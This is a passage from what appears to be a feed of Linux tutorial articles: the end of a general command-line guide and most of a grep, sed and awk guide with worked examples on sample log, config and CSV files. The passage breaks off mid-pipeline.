12, so measure before rewriting. A <code>find ... -exec cmd {} +</code> is faster than <code>-exec cmd {} \\;</code> because it starts far fewer processes. <code>grep -F</code> is faster than <code>grep</code> with a regular expression when you only need a fixed string. <code>LC_ALL=C sort</code> avoids locale collation. Piping a file into a tool that can open it, as in <code>cat file | grep x</code>, adds a process and loses nothing but a little clarity, so write <code>grep x file</code>. Measure with <code>time</code> before and after any change claimed to be an optimization, since the slow step is rarely the one you suspect.</p>\n<pre><code class=\"language-bash\">time grep -c error big.log\ntime LC_ALL=C grep -c error big.log\ntime awk '/error/ {n++} END {print n}' big.log\n</code></pre>\n<p>The method for finding the slow part of a longer script, with counters and traces, is described in <a href=\"/library/debugging-shell-scripts\">the debugging guide</a>.</p>\n\n<h2>Keep a personal toolbox</h2>\n<p>People who work fast at a terminal have usually built a small, deliberate toolbox. Keep scripts you reuse in <code>~/bin</code> and add it to <code>PATH</code>, with each script named for what it does and passing ShellCheck. Keep dotfiles in a Git repository so a new machine takes minutes. Define a few aliases for commands you type daily, such as <code>alias ll='ls -lah'</code>, and a handful of functions for anything that needs arguments, because aliases cannot take them. Prefer functions in <code>~/.bashrc</code> over scripts for anything that must change the shell's own state, such as moving to a project directory. Resist adding shortcuts you will forget: a toolbox of ten things you use beats one of a hundred you do not.</p>\n<pre><code class=\"language-bash\">alias ll='ls -lah'\nmkcd() { mkdir -p -- \"$1\" &amp;&amp; cd -- \"$1\"; }\nup() { cd \"$(printf '../%.0s' $(seq 1 \"${1:-1}\"))\"; }\n</code></pre>\n<p>Functions like <code>mkcd</code> must live in the shell's startup file or be sourced, because a script cannot change its parent's directory, as shown at the start of the guide.</p>\n\n<h2>Practice on a disposable machine</h2>\n<p>The fastest way to become fluent is to practice somewhere a mistake costs nothing. A container gives you a clean Linux in seconds and a fresh one every time, so you can break it, delete the wrong directory, and start again. Run <code>docker run --rm -it debian:12 bash</code> and work through the sections of this guide inside it. Install the missing tools with <code>apt-get update</code> and <code>apt-get install -y procps</code> when you need <code>ps</code> or <code>free</code>. A virtual machine or a spare cloud instance serves when you need systemd, which most containers lack. Set yourself small tasks: find the five largest files under <code>/usr</code>, list every listening port with its process, write a one-line command that counts distinct users in <code>/etc/passwd</code> by shell. Each task uses three or four of the commands above and teaches you which options you actually reach for.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>macOS and the BSDs.</strong> The commands share names but not always flags. BSD <code>sed -i</code> needs a suffix, BSD <code>stat</code> uses <code>-f</code> for formats, <code>ps</code> columns differ, and <code>/proc</code> does not exist. Install GNU coreutils from Homebrew, or check each page.</p>\n<p><strong>Alpine and BusyBox.</strong> Many commands are reduced applets with fewer options. <code>find -printf</code>, <code>grep -P</code> and long options may be missing. The portable shell guide lists the differences in more detail.</p>\n<p><strong>Containers and distroless images.</strong> There may be no shell, no <code>ps</code>, no package manager. Debug with an ephemeral debug container or by mounting tools from another image, and do not assume the host's commands exist inside.</p>\n<p><strong>Large-scale operations.</strong> One-line pipelines are fine for a server, but for hundreds of hosts, use configuration management or a proper orchestrator. Commands that are reliable on one machine become unmanageable across many.</p>\n\n<h2>What to learn after this</h2>\n<p>The command line rewards depth in a few tools over breadth across many. After the basics here, the highest-return topics are text processing, remote work and automation. <a href=\"/library/grep-sed-awk-guide\">The grep, sed and awk guide</a> and <a href=\"/library/regular-expressions-shell-tools\">the regular expressions guide</a> cover text. <a href=\"/library/ssh-guide\">The SSH guide</a> covers remote work. <a href=\"/library/automate-tasks-cron-systemd\">The cron and systemd timers guide</a> covers running things on a schedule, and <a href=\"/library/shell-script-security\">the shell script security guide</a> covers doing all of it safely.</p>\n<p>Primary sources used here: the <a href=\"https://www.gnu.org/software/coreutils/manual/html_node/index.html\">GNU coreutils manual</a>, the <a href=\"https://www.gnu.org/software/bash/manual/bash.html\">Bash Reference Manual</a>, the <a href=\"https://www.gnu.org/software/findutils/manual/html_mono/find.html\">GNU findutils manual</a>, the <a href=\"https://www.gnu.org/software/grep/manual/grep.html\">GNU grep manual</a>, the <a href=\"https://www.gnu.org/software/tar/manual/tar.html\">GNU tar manual</a>, the <a href=\"https://refspecs.linuxfoundation.org/fhs.shtml\">Filesystem Hierarchy Standard</a>, the <a href=\"https://man7.org/linux/man-pages/man7/signal.7.html\">signal manual page</a>, the <a href=\"https://man7.org/linux/man-pages/man1/ss.8.html\">ss manual page</a> and the <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemctl.html\">systemctl manual page</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Linux"]},{"id":"https://shellhacks.dev/library/grep-sed-awk-guide","url":"https://shellhacks.dev/library/grep-sed-awk-guide","title":"grep sed and awk With Real Examples You Can Copy and Paste","summary":"A grep sed awk guide with real, run examples: search, replace, extract and summarize text from logs, config files and CSV, and know which tool to pick.","content_html":"<p>Three programs from the 1970s still do most of the text processing on Linux servers: <code>grep</code> finds lines, <code>sed</code> edits them and <code>awk</code> calculates over them. They all read lines from files or standard input, write lines to standard output, and compose with pipes. Every example below ran on Debian 12 with GNU grep 3.8, GNU sed 4.9 and GNU Awk 5.2.1, against small sample files shown in full so you can reproduce the results. Where mawk, the default <code>awk</code> on Debian, or BSD and BusyBox versions behave differently, the section says so.</p>\n<p>The guide is arranged by verb. It sets up the sample data, then covers grep, sed and awk in turn, then how to combine them, three complete worked jobs, and the points at which another tool is the better choice. For the pattern language shared by all three, <a href=\"/library/regular-expressions-shell-tools\">the regular expressions guide</a> goes deeper than the summaries here.</p>\n\n<h2>The sample data</h2>\n<p>Three small files carry every example. An access log in the common format, an INI-style config, and a CSV of sales.</p>\n<pre><code class=\"language-text\">$ cat access.log\n203.0.113.9 - - [05/Nov/2026:10:01:02 +0000] \"GET /index.html HTTP/1.1\" 200 5120\n198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\n203.0.113.9 - - [05/Nov/2026:10:01:09 +0000] \"POST /api/login HTTP/1.1\" 401 45\n192.0.2.77 - - [05/Nov/2026:10:02:11 +0000] \"GET /missing HTTP/1.1\" 404 312\n198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\n203.0.113.9 - - [05/Nov/2026:10:03:41 +0000] \"GET /img/logo.png HTTP/1.1\" 200 20480\n\n$ cat app.conf\n# main settings\nhost = db01.internal\nport = 5432\n; legacy\ntimeout=30\nuser = deploy\n\n$ cat sales.csv\nregion,product,units,price\nnorth,widget,10,2.50\nsouth,gadget,4,10.00\nnorth,gadget,7,10.00\neast,widget,12,2.50\nsouth,widget,3,2.50\n</code></pre>\n<p>The addresses come from the documentation ranges reserved in RFC 5737, so they are safe to publish and never refer to a real host. The log has the columns you meet in real servers: client, two unused fields, a bracketed time, the quoted request, the status and the size.</p>\n\n<h2>How the three tools differ</h2>\n<p>Choose by the verb in your task. If the task is \"show me the lines that\", use grep. If it is \"change this text to that\", use sed. If it is \"for each line, take these columns and total, count or reformat them\", use awk. The boundaries blur because each can do some of the others' jobs, but the tool that matches the verb is almost always shorter and clearer.</p>\n<table>\n<thead><tr><th>Task</th><th>Best tool</th><th>Why</th></tr></thead>\n<tbody>\n<tr><td>Find lines containing an error</td><td>grep</td><td>One purpose, fastest startup and scan</td></tr>\n<tr><td>Replace a word in a file</td><td>sed</td><td>Substitution is its core command</td></tr>\n<tr><td>Print the 3rd column</td><td>awk</td><td>Splits fields natively</td></tr>\n<tr><td>Count requests per client</td><td>awk</td><td>Associative arrays</td></tr>\n<tr><td>Delete comment and blank lines</td><td>grep -v or sed</td><td>Either reads well</td></tr>\n<tr><td>Change one value in a config file</td><td>sed</td><td>Address plus substitute</td></tr>\n<tr><td>Sum a column</td><td>awk</td><td>Variables and arithmetic</td></tr>\n<tr><td>Extract just the matched part</td><td>grep -o</td><td>Prints only the match</td></tr>\n</tbody>\n</table>\n<p>All three process the input as a stream, one line at a time, without loading the file into memory, which is why they handle multi-gigabyte logs on a small machine. The record separator is a newline by default for all of them, and each lets you change it.</p>\n\n<h2>Quote patterns with single quotes</h2>\n<p>The shell sees the command line first. Characters such as <code>*</code>, <code>$</code>, <code>(</code>, <code>|</code> and <code>\\</code> are meaningful to both the shell and the regular expression, so an unquoted pattern is interpreted by the shell before grep or sed ever receives it. Single quotes stop all expansion.</p>\n<pre><code class=\"language-bash\">grep -E ' (404|50[0-9]) ' access.log\ngrep \"$var\" file\nsed 's/\\$HOME/~/' notes.txt\n</code></pre>\n<p>Use single quotes for any literal pattern or script. Use double quotes only when you deliberately want the shell to insert a variable, and remember that the variable's contents then become part of the pattern, so a value containing a dot or a bracket changes what matches. For a variable that must match literally, use <code>grep -F -- \"$var\"</code>, which treats it as a fixed string. A single quote inside a single-quoted string cannot be escaped; close the quote, add an escaped one, and reopen: <code>'it'\\''s'</code>.</p>\n\n<h2>Basic and extended regular expressions</h2>\n<p>All three tools use regular expressions, in two syntaxes. Basic regular expressions (BRE), the default for <code>grep</code> and <code>sed</code>, treat <code>+</code>, <code>?</code>, <code>|</code>, <code>(</code> and <code>)</code> as ordinary characters, and require a backslash to give them special meaning in GNU versions. Extended regular expressions (ERE), selected with <code>-E</code> for grep and sed, and the default for awk, give those characters their special meaning directly. The POSIX specification defines both, and GNU adds extensions.</p>\n<pre><code class=\"language-bash\">grep    'ab\\+c\\|xy' file      # BRE with GNU escapes\ngrep -E 'ab+c|xy' file        # ERE, same meaning\nsed -E 's/(foo|bar)+/X/' file\nawk '/ab+c|xy/' file\n</code></pre>\n<p>Prefer <code>-E</code> every time. It reads the way most people expect, it matches what awk and most other languages use, and it removes the backslash soup. The character classes <code>[[:digit:]]</code>, <code>[[:space:]]</code> and <code>[[:alpha:]]</code> work in both and are locale-aware. Shorthand such as <code>\\d</code> and <code>\\w</code> is not POSIX; GNU grep supports <code>\\w</code> and <code>\\s</code> as extensions but not <code>\\d</code> outside <code>-P</code>. The <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap09.html\">POSIX regular expression chapter</a> is the authoritative reference.</p>\n\n<h2>grep: select lines</h2>\n<p>The simplest use prints every line that contains the pattern. The options you use most are <code>-n</code> for line numbers, <code>-i</code> to ignore case, <code>-v</code> to invert, <code>-c</code> to count, <code>-w</code> to match whole words, <code>-x</code> to match whole lines and <code>-q</code> for quiet, which only sets the exit status.</p>\n<pre><code class=\"language-bash\">grep -n ' 50[0-9] ' access.log\ngrep -c GET access.log\ngrep -E ' (404|50[0-9]) ' access.log | wc -l\n</code></pre>\n<pre><code class=\"language-text\">2:198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\n5:198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\n5\n3\n</code></pre>\n<p>Matching ` 50[0-9] ` with surrounding spaces avoids matching a size that happens to contain 500, which is the common mistake of grepping for a bare number. The exit status is 0 if any line matched, 1 if none matched and 2 on error, so <code>if grep -q 'pattern' file; then</code> is the standard test. Note that the quiet flag stops reading at the first match, which makes it fast on big files.</p>\n\n<h2>grep: only the matching part</h2>\n<p><code>-o</code> prints each match instead of the whole line, one per line. It turns grep into an extractor, and combined with <code>sort | uniq -c</code> it gives frequency tables.</p>\n<pre><code class=\"language-bash\">grep -oE '[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+' access.log | sort | uniq -c | sort -rn\n</code></pre>\n<pre><code class=\"language-text\">      3 203.0.113.9\n      2 198.51.100.4\n      1 192.0.2.77\n</code></pre>\n<p>The pattern is deliberately loose: it matches any four dotted numbers, including values like 999.1.1.1, which is fine for extraction from trusted logs and not fine for validation. Validate with a stricter pattern or a purpose-built tool. When a line contains several matches, <code>-o</code> prints all of them, in order, each on its own line, so a count of lines is a count of matches.</p>\n\n<h2>grep: context, files and recursion</h2>\n<p>Context options show neighbors of a match: <code>-A n</code> after, <code>-B n</code> before, <code>-C n</code> both. File options choose what is searched: <code>-r</code> recurses, <code>--include='*.conf'</code> and <code>--exclude-dir=.git</code> filter, <code>-l</code> prints names of files with matches and <code>-L</code> names of files without.</p>\n<pre><code class=\"language-bash\">grep -n -B1 -A1 404 access.log\ngrep -rl widget .\ngrep -rn --include='*.sh' 'set -e' /usr/local/bin\n</code></pre>\n<pre><code class=\"language-text\">3-203.0.113.9 - - [05/Nov/2026:10:01:09 +0000] \"POST /api/login HTTP/1.1\" 401 45\n4:192.0.2.77 - - [05/Nov/2026:10:02:11 +0000] \"GET /missing HTTP/1.1\" 404 312\n5-198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\n./sales.csv\n</code></pre>\n<p>Context lines are marked with a dash after the line number and matching lines with a colon, which helps scripts and eyes tell them apart. Without a file argument, <code>grep -r</code> searches the current directory. With one file, grep omits the file name prefix, and <code>-H</code> forces it, which matters when a script feeds grep a variable number of files.</p>\n\n<h2>grep: whole words, fixed strings and PCRE</h2>\n<p><code>-w</code> requires the match to sit between non-word characters, so it finds <code>port</code> and not <code>ports</code> or <code>sport</code>. <code>-F</code> treats the pattern as plain text with no special characters, which is both safer for user-supplied strings and faster. <code>-P</code> enables Perl-compatible expressions in GNU grep, giving lookahead, lookbehind, non-greedy quantifiers and <code>\\K</code> to drop the part matched so far.</p>\n<pre><code class=\"language-bash\">echo 'port ports sport' | grep -ow port\ngrep -oP '\"\\K[A-Z]+(?= )' access.log | sort | uniq -c\n</code></pre>\n<pre><code class=\"language-text\">port\n      5 GET\n      1 POST\n</code></pre>\n<p>The second command extracts the HTTP method: <code>\\K</code> discards the opening quote from the match and the lookahead <code>(?= )</code> requires a space after without consuming it. <code>-P</code> is a GNU extension, absent from BSD grep and BusyBox, and flagged as experimental in the manual. If a script must run on macOS, use <code>-E</code> with a capture group and sed or awk to pull out the group.</p>\n\n<h2>grep: remove comments and blank lines</h2>\n<p>A very common job is to see only the active lines of a config file. Invert the match on comment and empty lines.</p>\n<pre><code class=\"language-bash\">grep -vE '^\\s*([#;]|$)' app.conf\n</code></pre>\n<pre><code class=\"language-text\">host = db01.internal\nport = 5432\ntimeout=30\nuser = deploy\n</code></pre>\n<p>The pattern reads: from the start of the line, optional whitespace, then either a comment character or the end of the line. The <code>\\s</code> shorthand works in GNU grep and sed but is not POSIX; for portability, write <code>[[:space:]]*</code>. The same filter is the first step in most config-parsing scripts, because comments and blank lines are noise for every later stage.</p>\n\n<h2>grep: speed</h2>\n<p>grep is already fast, and the choices that matter are about avoiding work. A fixed string with <code>-F</code> skips the regular expression engine, and <code>LC_ALL=C</code> avoids multibyte decoding, which helps most with case-insensitive or Unicode patterns. <code>-m 1</code> stops after the first match when only existence matters. Use <code>-l</code> or <code>-q</code> so grep can stop early. In a repository, <code>git grep</code> searches tracked files using the index and skips ignored directories, which is usually faster than <code>grep -r</code>.</p>\n<pre><code class=\"language-bash\">time grep -c 'error' big.log\ntime LC_ALL=C grep -cF 'error' big.log\n</code></pre>\n<p>On a 54 MB file of three million short ASCII lines in the Debian 12 container, plain <code>grep -c error</code> took 0.115 seconds and <code>LC_ALL=C grep -cF error</code> took 0.110, so for a simple literal the gain was within noise. An awk program doing the same count took 0.252 seconds. Measure on your data before assuming; the locale and fixed-string options pay off on patterns that are case-insensitive or on multibyte text, and on small files startup dominates. Avoid <code>cat file | grep</code>: it adds a process and a copy, and grep can open the file itself. With several patterns, use one <code>-E 'a|b|c'</code> or a pattern file with <code>-f patterns.txt</code>, not several greps in sequence.</p>\n\n<h2>sed: how it works</h2>\n<p>sed reads input a line at a time into a buffer called the pattern space, runs the script's commands against it, and prints the result. The default command set is small. The commands to know are <code>s</code> to substitute, <code>d</code> to delete, <code>p</code> to print, <code>a</code>, <code>i</code> and <code>c</code> to append, insert and change lines, <code>y</code> to transliterate characters, and <code>q</code> to quit. A command can be limited by an address: a line number, a range, a regular expression or the last line <code>$</code>.</p>\n<pre><code class=\"language-bash\">sed 's/ = /=/' app.conf\nsed -n '2,4p' app.conf\n</code></pre>\n<pre><code class=\"language-text\"># main settings\nhost=db01.internal\nport=5432\n; legacy\ntimeout=30\nuser=deploy\nhost = db01.internal\nport = 5432\n; legacy\n</code></pre>\n<p>The first command substituted the first occurrence on each line. The second used <code>-n</code>, which suppresses automatic printing, with the <code>p</code> command on lines 2 to 4. Forgetting <code>-n</code> when you use <code>p</code> prints each selected line twice, a rite of passage. The full command set is in the <a href=\"https://www.gnu.org/software/sed/manual/sed.html\">GNU sed manual</a>.</p>\n\n<h2>sed: the substitute command</h2>\n<p>The form is <code>s/pattern/replacement/flags</code>. The most useful flags are <code>g</code> to replace every match on the line, a number to replace only the Nth, <code>i</code> to ignore case, and <code>p</code> to print when used with <code>-n</code>. The replacement can use <code>&amp;</code> for the whole match and <code>\\1</code> to <code>\\9</code> for captured groups. Any character can replace the slash as the delimiter, which is the neat way to handle paths.</p>\n<pre><code class=\"language-bash\">sed -E 's/^([a-z]+) *= *(.*)$/\\2 &lt;- \\1/' app.conf | tail -4\necho '/usr/local/bin' | sed 's|/usr/local|/opt|'\necho 'a-b-c' | sed 's/-/_/2'\n</code></pre>\n<pre><code class=\"language-text\">5432 &lt;- port\n; legacy\n30 &lt;- timeout\ndeploy &lt;- user\n</code></pre>\n<p>The first command swaps key and value on each assignment line, leaving comment lines alone because they do not match. Using <code>|</code> as the delimiter in the second avoids escaping every slash in the paths. In the replacement, a literal ampersand must be written <code>\\&amp;</code> and a newline <code>\\n</code> in GNU sed. When the replacement text comes from a shell variable, escape the delimiter, ampersand and backslash in it first, or you will inject sed syntax.</p>\n\n<h2>sed: addresses and ranges</h2>\n<p>An address selects the lines a command applies to. A number picks one line, <code>$</code> the last, <code>/regex/</code> every matching line, and <code>first,last</code> a range. A step <code>1~2</code> picks every second line in GNU sed. Add <code>!</code> after the address to invert it.</p>\n<pre><code class=\"language-bash\">sed -n '/host/,/timeout/p' app.conf\nsed '/^[#;]/d;/^$/d' app.conf\nsed '1d;$d' file\nsed '5,$!d' file\n</code></pre>\n<pre><code class=\"language-text\">host = db01.internal\nport = 5432\n; legacy\ntimeout=30\nhost = db01.internal\nport = 5432\ntimeout=30\nuser = deploy\n</code></pre>\n<p>A regex range starts on the first matching line and ends on the next line that matches the second pattern, and if the end pattern never appears the range runs to the end of the file. That is a handy way to extract a section of a config file, and a dangerous way to delete one if the end marker is missing. Preview with <code>-n ... p</code> before you change a file.</p>\n\n<h2>sed: append, insert, change and delete</h2>\n<p>The one-line commands <code>a</code>, <code>i</code> and <code>c</code> add text after, before or in place of the selected line. In GNU sed they can be written on one line, <code>a text</code>. BSD sed requires the text on the next line, so portable scripts put it there or use a different approach.</p>\n<pre><code class=\"language-bash\">sed '/^user/a\\role = admin' app.conf | tail -2\nsed '/^port/c\\port = 6432' app.conf | sed -n 3p\nsed '/legacy/d' app.conf | wc -l\n</code></pre>\n<pre><code class=\"language-text\">user = deploy\nrole = admin\n</code></pre>\n<p>For multi-line insertions, the portable pattern is a backslash at the end of each line of text. When the text is long, a here document and a second tool are clearer than a crowded sed script. Keep the edit commands simple, and when a script needs more than a few lines, write it to a file and call <code>sed -f script.sed</code>.</p>\n\n<h2>sed: edit files in place</h2>\n<p><code>sed -i</code> rewrites the file instead of printing. It creates a temporary file, writes the result, and renames it over the original, which means the file's inode changes and hard links to it are broken. Give it a suffix to keep a backup of the original.</p>\n<pre><code class=\"language-bash\">cp app.conf t.conf\nsed -i.bak 's/^port.*/port = 6432/' t.conf\ndiff t.conf.bak t.conf\n</code></pre>\n<pre><code class=\"language-text\">3c3\n&lt; port = 5432\n---\n&gt; port = 6432\n</code></pre>\n<p>On Linux with GNU sed, <code>-i</code> with no suffix works. On macOS and the BSDs, it requires a suffix argument, possibly an empty string written as a separate word (<code>sed -i '' 's/a/b/'</code>), which GNU sed then misreads as the script. The one portable form is attached suffix: <code>-i.bak</code>. After a successful edit, delete the backups if you do not want them. Always test an in-place edit without <code>-i</code> first, then use <code>diff</code> to verify.</p>\n\n<h2>sed: the hold space</h2>\n<p>sed has a second buffer, the hold space, that persists between lines. The commands <code>h</code> and <code>H</code> copy or append the pattern space to it, <code>g</code> and <code>G</code> copy or append it back, and <code>x</code> swaps them. They let sed remember a line and are the reason a short sed script can do things like reversing a file. They also make scripts hard to read, so use them sparingly.</p>\n<pre><code class=\"language-bash\">printf '1\\n2\\n3\\n' | sed -n '1!G;h;$p'\n</code></pre>\n<pre><code class=\"language-text\">3\n2\n1\n</code></pre>\n<p>Read the script as: on every line except the first, append the hold space to the pattern space; copy the pattern space to the hold space; on the last line, print. Each line is placed before everything seen so far, which reverses the file. The equivalent <code>tac</code> is clearer, and so is <code>awk</code> with an array. The lesson is not to write such scripts but to recognise the tool's limit: when you reach for the hold space, ask if awk would read better.</p>\n\n<h2>sed: multiline work and special cases</h2>\n<p>sed processes one line at a time, so patterns cannot span a newline unless you collect lines. The <code>N</code> command appends the next line to the pattern space, and <code>-z</code> in GNU sed treats the whole file as one line by using NUL as the separator. Both let a regex match across lines.</p>\n<pre><code class=\"language-bash\">sed -z 's/\\n\\n*/\\n/g' file\nsed ':a;N;$!ba;s/\\n/,/g' file\npaste -sd, file\n</code></pre>\n<p>The second command joins all lines with commas: label <code>a</code>, append the next line, and branch back to <code>a</code> until the last line. The third command does the same with <code>paste</code>, which is shorter and easier to read; this is a recurring pattern, where sed can do a job but a dedicated tool is simpler. Case conversion is another: GNU sed has <code>\\U</code>, <code>\\L</code> and <code>\\u</code> in replacements, which BSD sed lacks, so for portable work use <code>tr</code> or awk's <code>toupper</code>.</p>\n\n<h2>awk: the model</h2>\n<p>An awk program is a list of <code>pattern { action }</code> pairs. For each input line, awk splits the line into fields, then runs the action of every pattern that matches. A missing pattern matches every line; a missing action prints the line. Special patterns <code>BEGIN</code> and <code>END</code> run before the first line and after the last. Fields are <code>$1</code>, <code>$2</code>, and so on, <code>$0</code> is the whole line, and built-in variables include <code>NR</code> (line number), <code>NF</code> (field count) and <code>FS</code> (field separator).</p>\n<pre><code class=\"language-bash\">awk '{print $1, $9}' access.log | head -3\nawk '$9 &gt;= 500 {print $1, $7}' access.log\nawk 'NF {n++} END {print n \" non-empty\"}' app.conf\n</code></pre>\n<pre><code class=\"language-text\">203.0.113.9 200\n198.51.100.4 500\n203.0.113.9 401\n198.51.100.4 /api/users\n198.51.100.4 /api/users\n6 non-empty\n</code></pre>\n<p>The second program is the whole idea in one line: a condition on a field, then an action using other fields. Awk converts a field to a number when a numeric comparison needs it, so <code>$9 &gt;= 500</code> compares as numbers, whereas two fields that look like numbers compared with each other use string comparison unless they are clearly numeric. The <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html\">GNU Awk User's Guide</a> is the definitive reference and unusually readable.</p>\n\n<h2>awk: field separators</h2>\n<p>By default, awk splits on runs of blanks and ignores leading ones. Set a different separator with <code>-F</code> or by assigning <code>FS</code>. A single character is taken literally, except that a space is special; a longer string is a regular expression. The output separator is <code>OFS</code>, used by <code>print a, b</code>, and it only takes effect when you print fields as a list or reassign a field to force awk to rebuild <code>$0</code>.</p>\n<pre><code class=\"language-bash\">awk -F' *= *' '/^[a-z]/ {print $1 \"=\" $2}' app.conf\nawk -F, 'NR==1 {print toupper($0); next} {printf \"%s:%d\\n\", $2, $3}' sales.csv | head -3\nawk 'BEGIN {FS=\":\"; OFS=\"\\t\"} {print $1, $7}' /etc/passwd | head -2\n</code></pre>\n<pre><code class=\"language-text\">host=db01.internal\nport=5432\ntimeout=30\nuser=deploy\nREGION,PRODUCT,UNITS,PRICE\nwidget:10\ngadget:4\n</code></pre>\n<p>The first command splits on an equals sign with optional spaces around it, which normalises the two spacing styles in the sample config. The second skips the header row with <code>next</code>. Using <code>FS</code> in a <code>BEGIN</code> block is equivalent to <code>-F</code> and is better inside a script file. Use <code>-F'\\t'</code> or <code>-F'\\\\t'</code> for tab-separated data, and note that mawk, gawk and BSD awk differ in how they treat escapes in <code>-F</code>.</p>\n\n<h2>awk: variables and arrays</h2>\n<p>Variables are created on first use, hold strings or numbers, and are initialised to empty or zero. Arrays are associative: keys are strings, so <code>count[$1]++</code> builds a frequency table without declaring anything. The <code>for (key in array)</code> loop visits keys in no guaranteed order, so pipe through <code>sort</code> when order matters.</p>\n<pre><code class=\"language-bash\">awk '{b[$1]+=$10} END {for (i in b) print i, b[i]}' access.log | sort\nawk -F, 'NR&gt;1 {t[$1]+=$3*$4} END {for (r in t) printf \"%-6s %7.2f\\n\", r, t[r]}' sales.csv | sort\nawk '!seen[$1]++ {print $1}' access.log\n</code></pre>\n<pre><code class=\"language-text\">192.0.2.77 312\n198.51.100.4 87\n203.0.113.9 25645\neast     30.00\nnorth    95.00\nsouth    47.50\n203.0.113.9\n198.51.100.4\n192.0.2.77\n</code></pre>\n<p>The first sums bytes per client. The second computes revenue per region from units and price, formatting with <code>printf</code>. The third is the famous de-duplicator: <code>seen[$1]++</code> evaluates to the old count (0 on first sight, which is false) and increments it, so <code>!seen[$1]++</code> is true exactly once per key, and unlike <code>sort -u</code> it preserves the original order. These three one-liners cover a large share of real log and CSV questions.</p>\n\n<h2>awk: passing values in</h2>\n<p>Do not splice shell variables into the program text; pass them with <code>-v</code>, which handles quoting and keeps the program in single quotes. Variables set with <code>-v</code> are available in <code>BEGIN</code>. Assignments written as arguments between files take effect when awk reaches them.</p>\n<pre><code class=\"language-bash\">awk -v min=400 '$9 &gt;= min {c++} END {print c+0}' access.log\nthreshold=500\nawk -v t=\"$threshold\" '$9 &gt;= t' access.log\nawk '{print FILENAME \": \" $1}' access.log app.conf | head -2\n</code></pre>\n<pre><code class=\"language-text\">4\n198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\n198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\naccess.log: 203.0.113.9\naccess.log: 198.51.100.4\n</code></pre>\n<p>Adding <code>+0</code> to <code>c</code> in the first program prints <code>0</code> instead of an empty string when nothing matched, since an uninitialised variable is empty until used as a number. A <code>-v</code> value goes through escape processing, so a backslash in it is interpreted; for arbitrary text, pass it through the environment and read <code>ENVIRON[\"name\"]</code>, which is not processed.</p>\n\n<h2>awk: printf, functions and control flow</h2>\n<p>awk has C-like control flow: <code>if</code>/<code>else</code>, <code>while</code>, <code>for</code>, <code>break</code>, <code>continue</code>. It has string functions (<code>length</code>, <code>substr</code>, <code>index</code>, <code>split</code>, <code>sub</code>, <code>gsub</code>, <code>match</code>, <code>sprintf</code>, <code>tolower</code>, <code>toupper</code>) and numeric ones (<code>int</code>, <code>sqrt</code>, <code>exp</code>, <code>log</code>, <code>rand</code>). You can define your own functions. <code>printf</code> works like the C and shell version and does not add a newline.</p>\n<pre><code class=\"language-bash\">awk 'function human(n) {\n       split(\"B KB MB GB\", u); i = 1\n       while (n &gt;= 1024 &amp;&amp; i &lt; 4) { n /= 1024; i++ }\n       return sprintf(\"%.1f %s\", n, u[i])\n     }\n     {total += $10} END {print human(total)}' access.log\n</code></pre>\n<pre><code class=\"language-text\">25.4 KB\n</code></pre>\n<p>The function turns a byte count into a readable size, using <code>split</code> to build a unit array. Array indexes in awk start at 1 by convention for functions like <code>split</code>. Local variables in a function are declared as extra parameters, which is an awk quirk to know about when a function seems to leak values.</p>\n\n<h2>awk: ranges, getline and joining files</h2>\n<p>A range pattern <code>/start/,/end/</code> matches from the first line that matches the start to the next one that matches the end, like sed's. Two-file idioms use <code>NR==FNR</code>: <code>NR</code> is the total line number and <code>FNR</code> the line number within the current file, so they are equal only while reading the first file. That makes a lookup join possible.</p>\n<pre><code class=\"language-bash\">awk '/10:02:/,/10:03:/' access.log | wc -l\nawk -F, 'NR==FNR {p[$1]=$2; next} {print $1, p[$1]}' regions.csv sales.csv\n</code></pre>\n<pre><code class=\"language-text\">3\nnorth N\nsouth S\n</code></pre>\n<p>The join loads the first file into an array, then for each line of the second looks up the key. <code>getline</code> reads input explicitly, from a file or from a command, but its many forms are a source of subtle bugs; prefer the two-file idiom, and read the manual before using getline in a loop. For joining by a sorted key without loading memory, the standard <code>join</code> command is the alternative.</p>\n\n<h2>awk: gawk, mawk and BSD awk</h2>\n<p>The word <code>awk</code> names several programs. On Debian and Ubuntu the default is <code>mawk</code>, a small and fast implementation of POSIX awk; Fedora and Arch use gawk, the GNU version with many extensions; macOS ships a BSD-derived one-true-awk. The POSIX subset works in all of them, and gawk adds <code>gensub</code>, true multidimensional arrays, <code>asort</code>, time functions <code>strftime</code> and <code>systime</code>, <code>FPAT</code> for CSV-like parsing, <code>BEGINFILE</code> and the <code>--csv</code> mode introduced in 5.3.</p>\n<pre><code class=\"language-bash\">awk --version | head -1\nmawk -W version 2&gt;&amp;1 | head -1\ngawk '{print gensub(/\\[([^:]*):.*/, \"\\\\1\", 1, $4)}' access.log | head -2\n</code></pre>\n<pre><code class=\"language-text\">GNU Awk 5.2.1, API 3.2, PMA Avon 8-g1, (GNU MPFR 4.2.0, GNU MP 6.2.1)\nmawk 1.3.4 20200120\n05/Nov/2026\n05/Nov/2026\n</code></pre>\n<p>The first line is what <code>awk</code> reported after installing the <code>gawk</code> package on Debian, which replaces mawk as the <code>awk</code> alternative. Write for POSIX awk unless the script declares gawk in its shebang or documentation, and test with mawk and BusyBox awk, which are the most restrictive. The portable-shell guide at <a href=\"/library/posix-sh-vs-bash-portable-scripts\">POSIX sh versus Bash</a> shows the testing setup that works for these as well.</p>\n\n<h2>Combine the three in a pipeline</h2>\n<p>Each tool does its own part and passes plain text on. grep narrows, sed normalises, awk computes. Order the stages so the cheapest, most selective one runs first and the data shrinks early.</p>\n<pre><code class=\"language-bash\">grep -E '\"(GET|POST) /api/' access.log \\\n  | sed -E 's/\\?[^ ]*//' \\\n  | awk 